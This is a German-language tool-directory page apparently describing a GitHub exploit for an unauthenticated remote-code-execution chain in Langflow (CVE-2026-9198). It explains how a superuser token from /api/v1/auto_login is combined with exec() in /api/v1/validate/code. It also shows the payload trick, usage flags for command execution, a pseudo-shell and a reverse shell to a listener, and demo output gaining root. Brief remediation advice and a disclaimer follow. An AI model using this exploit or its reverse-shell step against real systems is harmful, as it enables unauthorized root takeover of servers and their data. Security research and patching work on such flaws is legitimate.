Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-9198_exploit — Exploit für CVE-2026-9198, der Proof-of-Concept-Payloads und Validierungsschritte zur Bewertung der Schwachstelle in Zielumgebungen enthält. | Kitploit
Tools/GitHubGitHub/chessalekin/cve-2026-9198_exploit
SchwachstellenanalyseExploitationPenetrationstests
GitHubchessalekin/cve-2026-9198_exploit

cve-2026-9198_exploit

Exploit für CVE-2026-9198, der Proof-of-Concept-Payloads und Validierungsschritte zur Bewertung der Schwachstelle in Zielumgebungen enthält.

Repository anzeigen
22vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-9198 — Langflow OSS Unauthenticated RCE

Nicht authentifizierte Remote-Code-Ausführung in IBM Langflow OSS (1.0.0 – 1.10.0) bei einer Standardbereitstellung. Verkettet zwei Schwachstellen:

  • CVE-2026-9103 — GET /api/v1/auto_login stellt jedem Aufrufer ohne Anmeldedaten ein SUPERUSER-JWT aus, sofern AUTO_LOGIN aktiviert ist (der Standard in Langflow < 1.5).
  • CVE-2026-8481 — POST /api/v1/validate/code übergibt vom Benutzer bereitgestelltes Python an exec() ohne Sandbox.

Zusammen (CVE-2026-9198) erlangt ein nicht authentifizierter Angreifer Codeausführung als der Langflow-Dienstbenutzer — der häufig root ist.

Was es tut

  1. Fordert ein Superuser-Bearer-Token von /api/v1/auto_login an (ohne Authentifizierung).

  2. Übermittelt eine Payload an /api/v1/validate/code. Der Endpunkt führt den Code per exec() aus, um ihn zu „validieren“; Python wertet Standardargumentwerte zum Definitionszeitpunkt aus, daher wird die Payload in ein Standardargument einer Funktion eingebettet:

    def _v(a=exec('<payload>')): pass
    

    Für die Befehlsausführung löst die Payload eine Ausnahme aus, deren Meldung die Befehlsausgabe ist, die der Endpunkt in der Antwort zurückgibt (function.errors[]).

Verwendung

./exploit.py -t <target> [options]

  -t, --target     Zielhost/-IP (oder vollständige URL)   (erforderlich)
  -p, --port       Langflow-Port                          (Standard 7860)
  -c, --cmd        einen einzelnen Shell-Befehl ausführen, Ausgabe anzeigen
      --shell      interaktive Pseudo-Shell (jede Zeile läuft über die RCE)
      --lhost      IP des Reverse-Shell-Listeners
      --lport      Port des Reverse-Shell-Listeners       (Standard 4444)
  -k, --token      dieses Bearer-Token verwenden (auto_login überspringen)
      --timeout    HTTP-Timeout in Sekunden               (Standard 20)
      --no-banner  Banner unterdrücken
  -h, --help       Hilfe anzeigen

Demo

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

Voraussetzungen

  • Python 3.6+ (nur Standardbibliothek — kein pip install erforderlich)

Hinweise

  • Funktioniert nur, solange AUTO_LOGIN aktiviert ist (der Standard für Langflow < 1.5; bei >= 1.5 muss es explizit LANGFLOW_AUTO_LOGIN=true sein). Wenn auto_login kein Token zurückgibt, ist das Ziel über diesen Pfad nicht ausnutzbar — geben Sie ein gültiges Token mit -k an, falls Sie eines haben.
  • Die Befehlsausgabe wird in der Antwort function.errors[] zurückgegeben; stderr wird in stdout zusammengeführt, sodass fehlschlagende Befehle dennoch ihren Fehler anzeigen.
  • Der Code läuft als der Langflow-Dienstbenutzer. Wenn dieser root ist (häufig bei direktem langflow run unter systemd/Docker-als-root), bedeutet dies direktes Host-Root.

Behebung

  • Aktualisieren Sie Langflow über den betroffenen Bereich hinaus; validate/code darf keine nicht vertrauenswürdige Eingabe per exec() ausführen und auto_login darf keine Superuser-Tokens ausstellen.
  • Setzen Sie LANGFLOW_AUTO_LOGIN=false und konfigurieren Sie echte Superuser-Anmeldedaten.
  • Führen Sie den Langflow-Dienst niemals als root aus.

Haftungsausschluss

Dieses Projekt wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke veröffentlicht. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.

Tool herunterladen